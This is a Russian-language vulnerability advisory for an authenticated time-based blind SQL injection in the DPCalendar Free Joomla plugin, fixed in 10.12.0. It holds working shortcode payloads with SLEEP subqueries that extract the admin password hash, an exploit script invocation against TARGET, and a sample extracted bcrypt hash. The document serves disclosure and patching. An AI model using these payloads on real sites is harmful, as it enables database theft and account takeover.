
SQL-инъекция через шорткод ORDER BY в plg_content_dpcalendar — DPCalendar Free ≤ 10.11.2
DPCalendar Free ≤ 10.11.2 — Пользователь уровня Author извлекает всю базу данных через time-based blind-инъекцию
Контентный плагин plg_content_dpcalendar обрабатывает шорткоды {{#events order="..."}}{{/events}}, встраиваемые в тело статей Joomla. Значение параметра order передаётся напрямую в , полностью обходя белый список самого метода . Затем это значение вставляется в SQL-предложение , защищённое только методом — чего недостаточно для блокировки инъекции через подзапрос.
EventsModel::setState('list.ordering', ...)populateState()ORDER BYDatabaseDriver::escape()Пользователь уровня Author, имеющий право создавать или редактировать статьи, может использовать эту уязвимость для извлечения данных из базы данных через time-based blind SQL-инъекцию. SQLi срабатывает внутри самого запроса на сохранение статьи атакующего — не требуется взаимодействия жертвы, публикации статьи или участия администратора.
| КОМПОНЕНТ | УЯЗВИМЫЕ ВЕРСИИ | ПРОТЕСТИРОВАНО НА | ИСПРАВЛЕНО |
|---|---|---|---|
| DPCalendar Free | 1.0.0 – 10.11.2 | Joomla 6.1.2 + DPCalendar 10.11.2 (MariaDB 10.6.27) | 10.12.0 |
Примечание: Эта уязвимость отличается от CVE-2026-57831 (неаутентифицированная SQLi в
EventsModel.phpчерезfilter_created_by, исправлена в v10.11.2). Данная находка затрагивает контентный плагин (plg_content_dpcalendar) — другой файл, другой параметр, и на момент обнаружения уязвимость не была исправлена в последнем релизе.
Тип: SQL-инъекция (CWE-89) — Time-Based Blind
Требуемая аутентификация: роль Author (может создавать/редактировать статьи Joomla)
Конечная точка: POST /index.php/submit-article?view=form&layout=edit
Файл: plg_content_dpcalendar/src/Extension/DPCalendar.php
Парсер шорткодов плагина перебирает все пары ключ-значение в теге {{#events}} и устанавливает состояние модели напрямую, полностью обходя проверку белого списка в populateState():
PLG_CONTENT_DPCALENDAR/SRC/EXTENSION/DPCALENDAR.PHP — УЯЗВИМАЯ ОБРАБОТКА ПАРАМЕТРОВ
foreach ($params as $paramKey => $paramValue) {
switch ($paramKey) {
case 'order':
// УЯЗВИМО: устанавливает состояние сортировки напрямую из пользовательского ввода
// полностью обходит белый список populateState()
$model->setState('list.ordering', $paramValue);
break;
case 'orderdir':
$model->setState('list.direction', $paramValue);
break;
// ...
}
}
Заражённое значение попадает в EventsModel::getListQuery() только с экранированием кавычек — этого недостаточно для блокировки инъекции через подзапрос в контексте ORDER BY:
COMPONENTS/COM_DPCALENDAR/SRC/MODEL/EVENTSMODEL.PHP:607 — ФОРМИРОВАНИЕ ORDER BY
$orderCol = $this->state->get('list.ordering', 'a.start_date');
$orderDirn = $this->state->get('list.direction', 'ASC');
// $db->escape() экранирует только кавычки — НЕ предотвращает инъекцию через подзапрос
$query->order($db->escape($orderCol) . ' ' . $db->escape($orderDirn));
Подзапрос вида (SELECT IF(ASCII(SUBSTRING(...))=36,SLEEP(5),0)) проходит через $db->escape() без изменений, поскольку не содержит символов кавычек. Результирующий SQL выглядит так:
ORDER BY (SELECT IF(ASCII(SUBSTRING((SELECT password FROM jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))--
Выражение ORDER BY вычисляется только когда результирующий набор не пуст — требуется хотя бы одно опубликованное будущее событие DPCalendar, что является стандартным условием для любой активной установки DPCalendar.
Ключевое поведение: SQLi срабатывает внутри самого POST-запроса на сохранение/редактирование — задержка по времени наблюдается непосредственно в HTTP-ответе (редирект 303). Атакующий измеряет время ответа на собственный POST-запрос; не требуется просмотр статьи, перезагрузка страницы или этап публикации.
Предварительные условия:
plg_content_dpcalendar включён (включён по умолчанию при установке DPCalendar)start_dateСценарий: Time-based Blind SQLi → Извлечение учётных данных администратора
Плагин устанавливает filter.state = 1 и list.start-date = NOW() перед формированием запроса. Подзапросы в ORDER BY выполняются только когда результирующий набор содержит строки; если совпадений 0, SLEEP() никогда не вызывается.

Выполните аутентификацию на фронтенде Joomla с использованием учётной записи Author. На любом этапе этой атаки доступ администратора не требуется.

Перейдите к форме отправки статьи на фронтенде (/submit-article). Вставьте следующий payload в тело статьи и нажмите Save:
{{#events order="(SELECT IF(1=1,SLEEP(5),0))-- " limit="1"}}{{/events}}
Сам POST-ответ задерживается примерно на 5 секунд. onContentPrepare срабатывает во время конвейера сохранения Joomla, вызывая уязвимый запрос до выдачи редиректа 303. Просмотр статьи или публикация не требуются.

Замените 1=1 на 1=2 (всегда ложь). SLEEP не срабатывает, и ответ возвращается немедленно (~100 мс), что подтверждает надёжное разделение по времени.
{{#events order="(SELECT IF(1=2,SLEEP(5),0))-- " limit="1"}}{{/events}}

Используйте сравнения ASCII(SUBSTRING(...)) для чтения каждого символа. Одинарные кавычки необходимо избегать (регулярное выражение шорткода [^"\']* останавливается на любом символе кавычки); вместо этого используйте десятичные значения ASCII:
{{#events order="(SELECT IF(ASCII(SUBSTRING((SELECT password FROM joomla.jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))-- " limit="1"}}{{/events}}
Время ответа ~5 с → TRUE → char[1] = '$' (ASCII 36 — первый символ bcrypt-хэша $2y$10$...).

Запустите exploit/exploit.py для автоматизации цикла побайтового извлечения:
python3 exploit/exploit.py http://TARGET
Скрипт входит под учётной записью Author, отправляет сформированные payload'ы и извлекает имя пользователя, email и полный 60-символьный bcrypt-хэш пароля. Результат лабораторного теста подтверждён: admin / [email protected] / $2y$10$5hGoueEFCH1z3NXZT3aWj.RZQ7ebuRqe8xU/s56iZPidb2GX1NqoC.

| Условие | Время ответа |
|---|---|
TRUE: ASCII(SUBSTR(password,1,1))=36 | ~5 000 мс |
FALSE: ASCII(SUBSTR(password,1,1))=65 | ~100 мс |
jos_users.password), токены сессий и email-адреса пользователей, через time-based blind SQL-инъекцию.